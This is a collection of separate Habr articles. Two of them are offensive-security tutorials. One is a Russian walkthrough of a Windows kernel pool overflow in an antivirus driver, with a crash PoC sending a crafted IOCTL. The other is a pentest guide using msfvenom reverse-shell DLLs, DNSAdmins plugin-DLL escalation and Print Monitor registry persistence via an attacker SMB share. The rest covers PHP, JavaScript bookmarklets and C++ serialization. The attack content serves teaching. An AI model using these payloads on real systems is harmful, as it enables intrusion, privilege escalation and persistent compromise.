Arg3: 812c1fc8, The next pool entry. **<---- следующий чанк, заголовок которого мы затерли**
Arg4: 0bf90000, (reserved)`
**DRIVER\_CORRUPTED\_EXPOOL:** Вызывается в коде ExFreePoolWithTag, если при unlink'e произошло исключение Page Fault.
`DRIVER_CORRUPTED_EXPOOL (c5)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is caused by drivers that have corrupted the system pool. Run the driver verifier against any new (or suspect) drivers, and if that doesn't turn up the culprit, then use gflags to enable special pool.
Arguments:
Arg1: 43434343, memory referenced **<----- наше фейковое значение Blink'a**
Arg2: 00000002, IRQL
Arg3: 00000001, value 0 = read operation, 1 = write operation
Arg4: 80544d06, address which referenced memory`
**BAD\_POOL\_CALLER:** Вызывается в коде ExFreePoolWithTag, если чанк, который пытаются освободить, уже является освобожденным.
Рассмотрим подробнее заголовок (метаданные) чанка:
```
// Заголовок чанка
typedef struct _POOL_HEADER
{
union
{
struct
{
USHORT PreviousSize : 9;
USHORT PoolIndex : 7;
USHORT BlockSize : 9;
USHORT PoolType : 7;
}
ULONG32 Ulong1;
}
union
{
struct _EPROCESS* ProcessBilled;
ULONG PoolTag;
struct
{
USHORT AllocatorBackTraceIndex;
USHORT PoolTagHash;
}
}
} POOL_HEADER, *POOL_HEADER; // sizeof(POOL_HEADER) == 8
```
Значения PreviousSize, BlockSize вычисляются следующим образом:
```
PreviousSize = (Размер_Предыдцщего_Чанка_В_Байтах + sizeof(POOL_HEADER)) / 8
BlockSize = (Размер_Чанка_В_Байтах + sizeof(POOL_HEADER)) / 8
```
Если значение PoolType равно нулю, то такой чанк является освобожденным, и после заголовка идет структура nt!\_LIST\_ENTRY.
`kd> dt nt!_LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY`
### Эксплуатация
Алгоритм освобождения чанка работает таким образом, что если после освобождаемого чанка есть свободный, то происходит слияние, то есть из двух свободных чанков склеивается один. Это происходит путем нехитрой операции unlink'a.
Удаляем запись entry из двусвязного списка
`PLIST_ENTRY b,f;
f=entry->Flink;
b=entry->Blink;
b->Flink=f;
f->Blink=b;`
Это ведет к перезаписи 4 байт по контролируемому адресу:
`*(адрес)=значение
*(значение+4)=адрес`
###### Незатейливая схема алгоритма, который мы осуществили
### Практикуемся!
Обладая достаточными знаниями, рассмотрим уязвимость в драйвере одного антивирусного продукта.
`.text:00016330 mov cx, [eax]**; eax указывает на данные под нашим контролем**
.text:00016333 inc eax
.text:00016334 inc eax
.text:00016335 test cx, cx
.text:00016338 jnz short loc_16330
.text:0001633A sub eax, edx
.text:0001633C sar eax, 1
.text:0001633E lea eax, [eax+eax+50h] ; размер UNICODE строки + 0x50 байт
.text:00016342 movzx edi, ax **; Неправильное привидение типа, округление до WORD**
.text:00016345
.text:00016345 loc_16345:;
.text:00016345 movzx eax, di
.text:00016348 push ebx
.text:00016349 xor ebx, ebx
.text:0001634B cmp eax, ebx
.text:0001634D jz short loc_16359
.text:0001634F push eax; Кол-во байт
.text:00016350 push ebx; Тип пула(NonPaged)
.text:00016351 call ds:ExAllocatePool **; В итоге мы контролируем размер выделяемого chunk'a**
.text:00016357 mov ebx, eax
[..]
.text:000163A6 movzx esi, word ptr [edx]
.text:000163A9 mov [eax+edx], si **; Тут происходит запись за границы**
.text:000163AD inc edx
.text:000163AE inc edx
.text:000163AF test si, si
[..]
.text:000163F5 push ebx; P
.text:000163F6 call sub_12A43
.text:00012A43 sub_12A43 proc near; CODE XREF: sub_12C9A+5Cp
.text:00012A43; sub_12C9A+79p ...
.text:00012A43
.text:00012A43 P = dword ptr 4
.text:00012A43
.text:00012A43 cmp esp+P], 0
.text:00012A48 jz short locret_12A56
.text:00012A4A push 0; Tag
.text:00012A4C push [esp+4+P]; P
.text:00012A50 call ds:ExFreePoolWithTag **; Освобождение, write4 сценарий**`
**C-подобный псевдокод**
```
len = wsclen(attacker_controlled);
total_len = (2*len + 0x50) ;
size_2_alloc = (WORD)total_len; // integer wrap!!!
mem = ExAllocatePool(size_2_alloc);
....
wcscpy(mem, attacker_controlled);//переполнение происходит на копировании строк
...
ExFreePool(mem); //тут происходит освобождение, слияние с чанком, который мы создали, сформировав фейковый заголовок, мы перезаписываем указатель в памяти ядра, адресом в пользовательском адресном пространстве, где лежит наш ring0-shellcode
```
Как видно из кода, уязвимость связана с приведением целочисленных типов, которая ведет к тому, что размер для юникод-строки будет рассчитан неправильно. Все это приведет к переполнению, если передать драйверу буфер с юникод-строкой больше 0xffff байт.
**Нехитрый код для воспроизведения BSoD**
```
hDevice = CreateFileA("\\\\.\\KmxSbx",
GENERIC_READ|GENERIC_WRITE,
0,
0,
OPEN_EXISTING,
0,
NULL);
inbuff = (char *)malloc(0x1C000);
if(!inbuff){
printf("malloc failed!\n");
return 0;
}
memset(inbuff, 'A',0x1C000-1);
memset(buff+0x11032, 0x00, 2);//end of unicode, size to allocate 0xff0
ioctl = 0x88000080;
first_dword = 0x400;
memcpy(buff, &first_dword, sizeof(DWORD));
DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, 0x1C000, (LPVOID)inbuff, 0x100, &cb,NULL);
```
Эксплуатация данной уязвимости не так проста, как может показаться на первый взгляд. Здесь имеют место некоторые ограничения, а именно – переполнение (запись за границы чанка) огромное (больше 0xffff), что потенциально ведет к синему экрану еще до исполнения ExFreePoolWithTag (и, следовательно, к замене указателей при слиянии):
`PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: fe8aa000, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: f0def3a9, If non-zero, the instruction address which referenced the bad memory address.
Arg4: 00000000, (reserved)
eax=00029fa8 ebx=fe8a7008 ecx=00000008 edx=fe880058 esi=00004141 edi=fe87d094
eip=f0def3a9 esp=f0011b78 ebp=f0011bac iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206
KmxSbx+0x63a9:
f0def3a9 66893410 mov word ptr [eax+edx],si ds:0023:fe8aa000=???? **<---- запись за границу, улетели в неспроецированную** память`
При перезаписи памяти мы можем переписать данные, которые являются указателями каких-либо ядерных структур, что может привести к самым неожиданным последствиям (очередному BSoD).
Для улучшения эффективности эксплуатации данной уязвимости воспользуемся следующим трюком: создадим N потоков, которые вызывают DeviceIoControl, с такими параметрами, чтобы с какой-то вероятностью N количество блоков определенной длины (0xff0 в данном примере) были выделены, затем освобождены – это дает нам шанс, что при переполнении мы не получим синий экран типа Page Fault (PAGE\_FAULT\_IN\_NONPAGED\_AREA). Предложенный пример кода с подробными комментариями ищи на нашем DVD.
###### Наглядный ядерный шеллкод :)
### Выводы
На прощание могу лишь сказать, что в интернете очень мало информации об эксплуатации Kernel Pool Overflow. Также огорчает, что в паблике нет рабочих эксплойтов, что создает некое заблуждение, что переполнение памяти в ядре очень сложно эксплуатировать, а если и возможно, то максимальный исход злодеяний – обычный BSoD.
В этой статье авторы попытались показать на реальном примере, что, подключив смекалку, можно улучшить стабильность методов эксплуатации подобных уязвимостей.
В дальнейших статьях мы поговорим о более сложных аспектах эксплуатации Kernel Pool Overflow, которые, конечно, существуют и ждут своего часа :). Stay tuned!
###### Предложенный пример кода с подробными комментариями ищи на нашем DVD или [тут](http://narod.ru/disk/205778001/xa_143_burim_yadro_sources.7z.html).
###### Ссылки по теме
* [Stealth hooking: Another way to subvert the Windows kernel](http://phrack.org/issues.html?issue=65&id=4)
* [Subverting VistaTM Kernel For Fun And Profit by Joanna Rutkowska](http://invisiblethings.org/papers/joanna%20rutkowska%20-%20subverting%20vista%20kernel.ppt)
* [Vista RC2 vs. pagefile attack by Joanna Rutkowska](http://theinvisiblethings.blogspot.com/2006/10/vista-rc2-vs-pagefile-attack-and-some.html)
* [Windows Heap Overflows — David Litchfield](http://blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt)
*Журнал Хакер, [Декабрь (12) 143](http://www.xakep.ru/articles/magazine/default.asp)
Никита Тараканов (CISS Research Team)
Александр Бажанюк*
Подпишись на «Хакер»
* [1 999 р. за 12 номеров бумажного варианта](http://bit.ly/habr_subscribe_paper)
* [1249р. за годовую подписку на iOS/iPad (релиз Android'а скоро!)](http://bit.ly/digital_xakep)
* [«Хакер» на Android](http://bit.ly/habr_android) | https://habr.com/ru/post/108618/ | null | ru | null |
# YAF — самый быстрый php фреймворк*
Yaf — это PHP микро-фреймворк, взявший за основу структуру приложения Zend Framework, но написанный на С и является PHP extension доступным через [PECL](http://pecl.php.net/package/yaf/).
Основной (и единственной) задачей для написания его послужила необходимость максимально быстрой (сравнимой с php) обработки запросов в парадигме MVC но с удобством предоставляемым Zend Framework.
Yaf и Zend Framework, имеют аналогичные API и подобную концепцию, сохраняя при этом совместимость.
Я сгенерировал тестовое приложение (zf create project test) и провел небольшой синтетический тест производительности.
На картинке показан стандартный процесс диспетчеризации запроса в Yaf (ZF). Понятно что вся эта инфраструктура требует накладных расходов, и в случае ZF (не обработанного напильником) немалых:
```
ab -n1000
1. ZF:
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 0 0.0 0 0
Processing: 94 113 30.5 102 313
Waiting: 94 113 30.5 102 313
Total: 94 113 30.5 102 313
2. ZF + APC
min mean[+/-sd] median max
Connect: 0 0 0.0 0 0
Processing: 36 40 6.2 39 111
Waiting: 36 40 6.2 39 111
Total: 36 40 6.2 39 111
3. YAF
min mean[+/-sd] median max
Connect: 0 0 0.0 0 0
Processing: 1 2 0.8 2 15
Waiting: 1 2 0.8 2 15
Total: 2 2 0.8 2 15
4. PHP (html view)
min mean[+/-sd] median max
Connect: 0 0 0.0 0 0
Processing: 1 1 0.8 1 11
Waiting: 1 1 0.8 1 11
Total: 1 1 0.8 1 11
```
Понятно что скорость не основной показатель для выбора фреймворка, на когда Вы следующий раз решите написать ~~facebook~~ небольшое веб-приложение, обязательно обратите внимание на MVC парадигму в исполнении YAF(ZF).
Всем хорошей недели! | https://habr.com/ru/post/128271/ | null | ru | null |
# Букмарклет для отображения макетной сетки
Не так давно на хабре уже [обсуждалась](http://habrahabr.ru/blogs/javascript/28113/) тема наложения макетной сетки поверх страницы. В голову пришла идея наложения сетки при помощи букмарклетов.
Собственно, вот они.
#### 12 колонок
`javascript:(function(a){for(var i=0,l=a.length;i`
#### 16 колонок
`javascript:(function(a){for(var i=0,l=a.length;i`
#### по третям
`javascript:(function(a){for(var i=0,l=a.length;i`
Заменив [2,8,14,20,26,32,38,44,50,56,62,68,74,80,86,92,98] на свои значения, можно изготовить свою сетку.
**UPD:**
А вот таким букмарклетом можно пользоваться для удаления текущей сетки:
`javascript:(function(a){var foo=document.getElementsByTagName('div');var bar=[];for(var i in foo){if(foo[i] && foo[i].className=='_grid_') bar.push(foo[i]);}delete foo;while(bar.length){document.body.removeChild(bar.pop());}})();` | https://habr.com/ru/post/39472/ | null | ru | null |
# Барахолка для Пентестера
Цель статьи - собрать интересные инструменты, техники и команды, которые можно использовать для выполнения задач при проведении тестирования на проникновение. Краткий список того, что будет в этой статье:
* Что такого с DNSAdmins?
* Persistence
* Можно ли обойтись без Bloodhound?
### DNSAdmins
Тестирование на проникновение для сети, где работают сервисы Windows AD достаточно распространенная задача, которая стоит перед пентестером. Чтобы её успешно выполнить - найти все возможные недочёты в настройке и заполучить максимальные права, нужно проверить максимальное количество векторов атак.
Что такого с DNSAdmins? Представим, что у нас есть инфраструктура Windows AD, и нам нужно захватить базу пользователей, которые находятся на контроллере домена. Ситуацию будем воспроизводить на виртуальном стенде. Состав стенда:
* Windows Server 2019 в стандартной настройке Windows AD, ip адрес: 192.168.1.172
* Kali Linux в качестве атакующей машины, ip адрес: 192.168.1.3
Настройка стенда, начальные условия:
* атакующий получает доступ к учётной записи, которая принадлежит группе DNSAdmins
* у учетной записи жертвы включен удаленный доступ через WinRM;
Что такое DNSAdmins с точки зрения Windows AD? Информацию об этом можно найти [здесь](https://docs.microsoft.com/ru-ru/windows/security/identity-protection/access-control/active-directory-security-groups).
Группа, которая отвечает за функционирование сервиса DNS. Сервис достаточно важный для всей инфраструктуры. Дело в том, что любой объект, который существует в AD будет обрабатываться только после запроса к DNS серверу. Поэтому, если сервис скомпрометирован, можно заставить всю инфраструктуру работать так как нужно атакующему. Самыми разрушительными атаками могут стать атаки MiTM, которые могут быть проведены, если DNS сервис использует не верно сконфигурированный сетевой интерфейс IPv6. Для тех, кто интересуется этой атакой можно почитать подробности [здесь](https://habr.com/ru/company/otus/blog/481348/).
Но что же будем использовать мы? Мы обратим сегодня внимание на то как сервис DNS работает со специальным механизмом, который описан [здесь](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/9500a7e8-165d-4b13-be86-0ddc43100eef), как механизм процессинга эвентов и последовательностей. Механизм позволяет задействовать различные функции сервера от RPC механизмов до доступа к базе записей DNS. Во всех этих данных нас интересует обработка `R_DnssrvOperation`. Это старая функция, которая позволяет DNSAdmin пользователям загружать в память процесса сервиса DLL библиотеку. Эта библиотека не проходит механизма проверки и поэтому еэ можно попытаться использовать для получения максимальный привилегий в системе.
Атака производится в несколько этапов:
* Генерация dll библиотеки. В этом этапе будем использовать msfvenom. Генерировать при этом лучше payload, который будет использовать максимально легковесный и простой шелл. В нашем случае это `windows/shell/reverse_tcp.` Команда для генерации следующая:
```
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f dll -o test.dll
```
Доставлять библиотеку будем через http сервер. На Kali машине можно воспользоваться вот такой командой из директории, где лежит сгенерированная библиотека:
```
python3 -m http.server 7979
```
* Скачиваем библиотеку на рабочее место пользователя DNSAdmin группы. В нашем случае это пользователь test3. Сделать это можно, например через команду в Powershell:
```
Invoke-WebRequest -URI "http://192.168.1.3:7979/test.dll -OutFile "C:\Users\test2\Desktop\test.dll"
```
* Запускаем слушателя. Можно пользоваться модулем `exploit/multi/handler`. Предварительно его настроив, примерно так:
```
nc -lvp 4444
```
* Запускаем атаку на машине жертвы. Для этого этапа нужно получить данные о пароле пользователя:
```
dnscmd.exe /config /serverlevelplugindll C:\Users\Test2\Desktop\test.dll
sc stop dns
sc start dns
```
В итоге, проверяем привилегии в полученном shell:
### Persistence
После получения доступа к системе, не всегда есть возможность сделать стабильный доступ. Использование методов автоматизации тестирования на проникновения может привести к различным последствиям. От выхода из строя тетсируемой системы до ухода в перезагрузку. Чтобы была возможность снова получать доступ и делать это автоматически, можно воспользоваться механизмами закрепления.
Закрепление, обычно осуществляется за счет мест в ОС, которые используются для автоматического запуска команд и приложений. Как правило это системные приложения или сервисы. Рассмотрим один из них.
Добавление собственной dll в ветку реестра `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors`.
Метод использует механизм "Windows Print Spooler". Это механизм при старте системы запускает монитор, который указан в одноименном значении реестра. Так как запуск производится от имени пользователя "System", то и привилегии там получаются соответствующие. Для удобства использования механизма, можно в реестр прописывать не файл из локальной директории, а SMB шару.
Метод по шагам:
* Создаём dll:
```
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=6666 -f dll -o test.dll
```
* открываем слушателя на Kali Linux:
```
sudo nc -lvvp 6666
```
* расшариваем для доступа dll:
```
smbserver.py -smb2support test /root
```
* добавляем в реестр dll:
```
wmic /node:192.168.1.10 /user:"lab\test2" /password:Qwerty!@ process call create "reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\Slayer" /v "Driver" /d "\\192.168.1.3\test\test.dll" /t REG_SZ"
```
* перезагружаем ОС и получаем доступ к системе.
Метод так же можно осуществить за счет выполнения от имени администратора файла, который будет собран из вот этого исходника:
```
#include
int main()
{
MONITOR\_INFO\_2 mon;
TCHAR name[14] = TEXT("MonitorSlayer");
TCHAR arch[12] = TEXT("Windows x64");
TCHAR dll[39] = TEXT("\\\\192.168.1.3\\test\\test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = arch;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&mon);
return 0;
}
```
Попробуйте теперь обратиться к SMB шаре. И запустить любую команду оттуда.
### Можно ли обойтись без Bloodhound?
[Bloodhound](https://github.com/BloodHoundAD/BloodHound) - инструмент для получения информации о инфраструктуре под управлением Windwos AD. Позволяет собирать информацию, которая может быть использована для нахождения особых привелегий, которые позволяют компрометировать систему.
Инструмент работает по всем известным механизмам для сбор данных об инфраструктуре:
* ldap
* kerberos
* SMB
* DCOM
* RPC
Запросы формируются с учетом тех потребнойстей, которые были запрошены пользователем. Дополнительно к этому, инструмент способен собирать информацию об активных сессиях пользователей на машинах.
Инструмент довольно полезный, но что если нам не нужно запускать так много команд, и хочется собрать только точечную информацию об AD? Можно ли выполнить тоже самое? На самом деле да, но нужно уметь пользоваться инструментами для сбора информации. Рассматривать будем инструмент dnsquery.exe. Этот инструмент поставляется со специальным набором инструментов RSAT. Кстати, отправка запросов возможна только, если используется сессия от имени "System".
Схема использования инструмента следущая:
`dsquery <тип объекта> <фильтры> <опции>`
Типы объектов:
`WildCard Computer Contact Group OU Site Server User Quota Partition`
Пример выдачи запроса к поиску пользователей:
Пример выдачи запроса к поиску групп:
Таким образом можно производить сбор информации об объектах Windows AD. Остальные тесты предлагается выполнить читателю самостоятельно.
---
*Статья подготовлена экспертом OTUS - Александром Колесниковым в преддверии старта курса* [*"Пентест. Практика тестирования на проникновение"*](https://otus.pw/ZVTT/)
* [**УЗНАТЬ ПОДРОБНЕЕ О КУРСЕ**](https://otus.pw/ZVTT/)
--- | https://habr.com/ru/post/563296/ | null | ru | null |
# Implementation of Linked List in PHP
A linked list is a linear data structure, which contains node structure and each node contains two elements. A data part that stores the value at that node and next part that stores the link to the next node as shown in the below image:
The first node also known as HEAD is usually used to traverse through the linked list. The last node (next part of the last node) points to NULL. The list can be visualized as a chain of nodes, where every node points to the next node.
[Implementation of Singly Linked List](https://www.alphacodingskills.com/cpp/ds/cpp-linked-list.php)
----------------------------------------------------------------------------------------------------
Representation:
---------------
In PHP, singly linked list can be represented as a class and a Node as a separate class. The LinkedList class contains a reference of Node class type.
```
//node structure
class Node {
public $data;
public $next;
}
class LinkedList {
public $head;
//constructor to create an empty LinkedList
public function __construct(){
$this->head = null;
}
};
```
[Create a Linked List](https://www.alphacodingskills.com/cpp/ds/cpp-linked-list.php)
------------------------------------------------------------------------------------
Let us create a simple linked list which contains three data nodes.
```
php
//node structure
class Node {
public $data;
public $next;
}
class LinkedList {
public $head;
//constructor to create an empty LinkedList
public function __construct(){
$this-head = null;
}
};
// test the code
//create an empty LinkedList
$MyList = new LinkedList();
//Add first node.
$first = new Node();
$first->data = 10;
$first->next = null;
//linking with head node
$MyList->head = $first;
//Add second node.
$second = new Node();
$second->data = 20;
$second->next = null;
//linking with first node
$first->next = $second;
//Add third node.
$third = new Node();
$third->data = 30;
$third->next = null;
//linking with second node
$second->next = $third;
?>
```
[Traverse a Linked List](https://www.alphacodingskills.com/java/ds/java-linked-list-traversal.php)
--------------------------------------------------------------------------------------------------
Traversing through a linked list is very easy. It requires creating a temp node pointing to the head of the list. If the temp node is not null, display its content and move to the next node using temp next. Repeat the process till the temp node becomes null. If the temp node is empty at the start, then the list contains no item.
The function *PrintList* is created for this purpose. It is a **3-step process**.
```
public function PrintList() {
//1. create a temp node pointing to head
$temp = new Node();
$temp = $this->head;
//2. if the temp node is not null continue
// displaying the content and move to the
// next node till the temp becomes null
if($temp != null) {
echo "\nThe list contains: ";
while($temp != null) {
echo $temp->data." ";
$temp = $temp->next;
}
} else {
//3. If the temp node is null at the start,
// the list is empty
echo "\nThe list is empty.";
}
}
```
[Add a new node at the end of the Linked List](https://www.alphacodingskills.com/cs/ds/cs-insert-a-new-node-at-the-end-of-the-linked-list.php)
----------------------------------------------------------------------------------------------------------------------------------------------
In this method, a new node is inserted at the end of the linked list. For example — if the given List is 10->20->30 and a new element 100 is added at the end, the Linked List becomes 10->20->30->100.
Inserting a new node at the end of the Linked List is very easy. First, a new node with given element is created. It is then added at the end of the list by linking the last node to the new node.
The function *push\_back* is created for this purpose. It is a **6-step process**.
```
public function push_back($newElement) {
//1. allocate node
$newNode = new Node();
//2. assign data element
$newNode->data = $newElement;
//3. assign null to the next of new node
$newNode->next = null;
//4. Check the Linked List is empty or not,
// if empty make the new node as head
if($this->head == null) {
$this->head = $newNode;
} else {
//5. Else, traverse to the last node
$temp = new Node();
$temp = $this->head;
while($temp->next != null) {
$temp = $temp->next;
}
//6. Change the next of last node to new node
$temp->next = $newNode;
}
}
```
The below is a complete program that uses above discussed all concepts of the linked list.
```
php
//node structure
class Node {
public $data;
public $next;
}
class LinkedList {
public $head;
public function __construct(){
$this-head = null;
}
//Add new element at the end of the list
public function push_back($newElement) {
$newNode = new Node();
$newNode->data = $newElement;
$newNode->next = null;
if($this->head == null) {
$this->head = $newNode;
} else {
$temp = new Node();
$temp = $this->head;
while($temp->next != null) {
$temp = $temp->next;
}
$temp->next = $newNode;
}
}
//display the content of the list
public function PrintList() {
$temp = new Node();
$temp = $this->head;
if($temp != null) {
echo "\nThe list contains: ";
while($temp != null) {
echo $temp->data." ";
$temp = $temp->next;
}
} else {
echo "\nThe list is empty.";
}
}
};
// test the code
$MyList = new LinkedList();
//Add three elements at the end of the list.
$MyList->push_back(10);
$MyList->push_back(20);
$MyList->push_back(30);
$MyList->PrintList();
?>
```
The output of the above code will be:
```
The list contains: 10 20 30
``` | https://habr.com/ru/post/506660/ | null | en | null |
# Защита программы через Vk.com
В статье кратко рассмотрим как без создания собственного облачного сервера защитить программу использующую VK API от незаконного использования и [несанкционированного распространения](https://en.wikipedia.org/wiki/Copy_protection).
Графическая схема
-----------------
### Принцип работы
Если программное обеспечение никак не связано с Вконтакте, то крупные разработчики используют [HASP](https://ru.wikipedia.org/wiki/HASP), однако, это дорого, сложно для приобретения и необходимо разрабатывать еще приложения которые будут запускаться внутри HASP ключей.
Данная статья про защиту программ, разрабатываемых индивидуальными разработчиками или мелкими компаниями. Логично разместить свой сервер в Интернете и при помощи него осуществлять лицензирование программы, но даже это не дает гарантий, достаточно пропатчить программу. Рассмотрим как это делают многие просто размещая критичные или сложные запросы в виде хранимых процедур, код которых надежно хранится на серверах Вконтакте и недоступен программе которую вы распространяете:
> Хранимые процедуры позволяют исполнять код на стороне сервера API аналогично методу [execute](https://vk.com/dev/execute), но без передачи кода процедуры по сети.
Для дополнительной защиты хранимая процедура должна помимо выполнения еще проверять запустил ли ее пользователь который приобрел лицензию, для этого достаточно выполнить вначале хранимой процедуры, например, такой код:
```
var allowed_users = ",id1,id2,id3,id99999999,";//список пользователей которые приобрели лицензию
//Ищем среди allowed_users vk_id пользователя запустившего процедуру
var c = allowed_users.indexOf("id"+API.users.get({})@.id+",");//поиск по массиву не работает в хранимых процедурах :(
var res;
if(c>0)
{//Если запустил один из разрешенных пользователей
//Здесь тело вашей процедуры
res = ...
return res;
}
else return "License not acquired";
return "error"
```
В качестве аналога можно получать allowed\_users с wiki страницы или осуществлять проверку другим способом.
По истечению срока действия лицензии у пользователя, он просто удаляется из allowed\_users.
### Заключение
1. Можно автоматизировать процесс редактирования списка пользователей при хранении списка allowed\_users вне хранимой процедуры
2. Простая реализация
3. Не подходит для многопользовательского либо требовательного к производительности проекта
4. Замедляет выполнение хранимой процедуры
5. Зависимо от доступности и ограничений Вконтакте
6. Может быть заблокировано Вконтакте
7. Реализуемо в любом сервисе обладающим аналогами хранимых процедур Вконтакте | https://habr.com/ru/post/412253/ | null | ru | null |
# Сериализация и С++11
Уверен, что многим кто работает с С++ хотелось, чтобы в этом, дивном языке, была возможность сериализовать объекты так же просто, как скажем в С#. Вот и мне этого захотелось. И я подумал, а почему бы и нет, с помощью нового стандарта это должно быть несложно. Для начала стоит определиться с тем, как это должно выглядеть.
```
class Test : public Serializable
{
public:
int SomeInt = 666;
float SomeFloat = 42.2;
string SomeString = "Hello My Little Pony";
private:
serialize(SomeInt);
serialize(SomeFloat);
serialize(SomeString);
};
```
Такое мне вполне подходило, и я уже представлял себе решение.
У нас же есть C++11, а это в свою очередь означало, что у нас в распоряжении имеются лямбды и инициализация полей в объявлении класса. Соответственно можно писать подобные штуки.
```
struct Test
{
string SomeString = "Hello My Little Pony";
function SomeFunc = [this]()
{
cout << SomeString;
};
};
```
Для начала напишем класс Serializable который хранил бы в себе все эти лямбды, и имел методы для сериализации и десериализации.
```
class Serializable
{
protected:
typedef function Func;
struct SerializerPair
{
Func Serializer;
Func Deserializer;
};
char Add(string \_key, Func \_serializer, Func \_deserializer)
{
auto& lv\_Pair = m\_Serializers[\_key];
lv\_Pair.Serializer = \_serializer;
lv\_Pair.Deserializer = \_deserializer;
}
public:
virtual void Serialize()
{
for (auto& lv\_Ser : m\_Serializers)
lv\_Ser.second.Serializer(lv\_Ser.first);
}
virtual void Deserialize()
{
for (auto& lv\_Ser : m\_Serializers)
lv\_Ser.second.Deserializer(lv\_Ser.first);
}
private:
map m\_Serializers;
};
```
Тут всё просто добавляем лямбды, и потом вызываем их.
Добавление выглядит так.
```
class TestClass : public Serializable
{
public:
int SomeInt = 666;
private:
char SomeIntSer = Add
(
"SomeInt",
[this](const string& _key)
{
::Serialize(_key, SomeInt);
},
[this](const string& _key)
{
::Deserialize(_key, SomeInt);
}
);
};
```
Функции Serialize и Deserialize выносят саму логику сериализации за пределы класса, что позволяет нам легко расширять функционал.
Но это слишком избыточно, не так ли? На данном этапе к нам на помощь приходят макросы.
```
#define UNNAMED_IMPL(x, y) UNNAMED_##x##_##y
#define UNNAMED_DECL(x, y) UNNAMED_IMPL(x, y)
#define UNNAMED UNNAMED_DECL(__LINE__ , __COUNTER__)
// Макрос UNNAMED нам нужен для генерации не повторяющихся имён
#define serialize(x) char UNNAMED = Add \
( \
#x, \
[this](const string& _key) \
{ \
::Serialize(_key, x); \
}, \
[this](const string& _key) \
{ \
::Deserialize(_key, x); \
} \
)
```
После этого наш предыдущий код выглядит уже гораздо меньше, и так как я хотел.
```
class TestClass : public Serializable
{
public:
int SomeInt = 666;
private:
serialize(SomeInt);
};
```
Всё бы хорошо, но мне кажется, что можно сделать ещё лучше. Если бы мы могли указывать контейнер для сериализации, то это дало бы нам +10 к удобству. Всё что нам нужно, так это сделать из Serializable шаблонный класс, которому мы могли бы сказать какой контейнер нужно прокидывать. Мужик сказал мужик сделал.
```
template
class Serializable
{
protected:
typedef function Func;
struct SerializerPair
{
Func Serializer;
Func Deserializer;
};
Container\* ContainerInf = 0;
char Add(string \_key, Func \_serializer, Func \_deserializer)
{
auto& lv\_Pair = m\_Serializers[\_key];
lv\_Pair.Serializer = \_serializer;
lv\_Pair.Deserializer = \_deserializer;
return 0;
}
public:
virtual void Serialize(Container& \_cont)
{
for (auto& lv\_Ser : m\_Serializers)
lv\_Ser.second.Serializer(lv\_Ser.first, \_cont);
}
virtual void Deserialize(Container& \_cont)
{
for (auto& lv\_Ser : m\_Serializers)
lv\_Ser.second.Deserializer(lv\_Ser.first, \_cont);
}
private:
map m\_Serializers;
};
```
Возможно вам интересно для чего нужен ContainerInf, а нужен он нам для того чтобы грамотно переделать наш макрос. Но для начала расширим возможности нашего сериализатора ещё чуть чуть. Сделаем наши глобальные функции Serialize и Deserialize шаблонными, чтобы не писать для каждого типа эти функции. Но тут появляется маленькая проблема. Шаблонная функция выполняется для того типа который мы ему дали, а потому не получится специализировать её так, чтобы она принимала отдельно объекты которые унаследованы от Serializable, а хочется ((. Для этого применим немножко шаблонной магии.
```
template
struct SerializerEX
{};
template<>
struct SerializerEX < false >
{
template
void Serialize(const string& \_key, T& \_val, Cont& \_cont, UNUSE)
{
::Serialize(\_key, &\_val, \_cont);
}
template
void Deserialize(const string& \_key, T& \_val, Cont& \_cont, UNUSE)
{
::Deserialize(\_key, &\_val, \_cont);
}
};
template<>
struct SerializerEX < true >
{
template
void Serialize(const string& \_key, T& \_val, Cont& \_cont, UNUSE)
{
::Serialize(\_key, (UNUSE)&\_val, \_cont);
}
template
void Deserialize(const string& \_key, T& \_val, Cont& \_cont, UNUSE)
{
::Deserialize(\_key, (UNUSE)&\_val, \_cont);
}
};
```
Теперь мы можем смело переписать наш макрос.
```
#define serialize(x) char UNNAMED = Add \
( \
#x, \
[this](const string& _key, ClearType::Type& \_cont) \
{ \
SerializerEX \
< \
CanCast \
< \
Serializable< ClearType::Type >, \
ClearType::Type \
>::Result \
> EX; \
EX.Serialize(\_key, x, \_cont, (Serializable< ClearType::Type >\*)0); \
}, \
[this](const string& \_key, ClearType::Type& \_cont) \
{ \
SerializerEX \
< \
CanCast \
< \
Serializable< ClearType::Type >, \
ClearType::Type \
>::Result \
> EX; \
EX.Deserialize(\_key, x, \_cont, (Serializable< ClearType::Type >\*)0); \
} \
)
```
Реализацию классов CanCast и ClearType я не буду описывать, они довольно тривиальные, в случае если «Ну очень надо» можно будет посмотреть их в исходниках прикреплённых к статье.
Ну и как же тут не показать пример использования. В роли контейнера я выбрал довольно известный Pugi XML
Пишем наши проверочные классы.
```
struct Float3
{
float X = 0;
float Y = 0;
float Z = 0;
};
class Transform : public Serializable < pugi::xml_node >
{
public:
Float3 Position;
Float3 Rotation;
Float3 Scale;
private:
serialize(Position);
serialize(Rotation);
serialize(Scale);
};
class TestClass : public Serializable
{
public:
int someInt = 0;
float X = 0;
string ObjectName = "Test";
Transform Transf;
map NamedPoints;
TestClass()
{
NamedPoints["one"] = 1;
NamedPoints["two"] = 2;
NamedPoints["three"] = 3;
NamedPoints["PI"] = 3.1415;
}
private:
serialize(X);
serialize(ObjectName);
serialize(Transf);
serialize(NamedPoints);
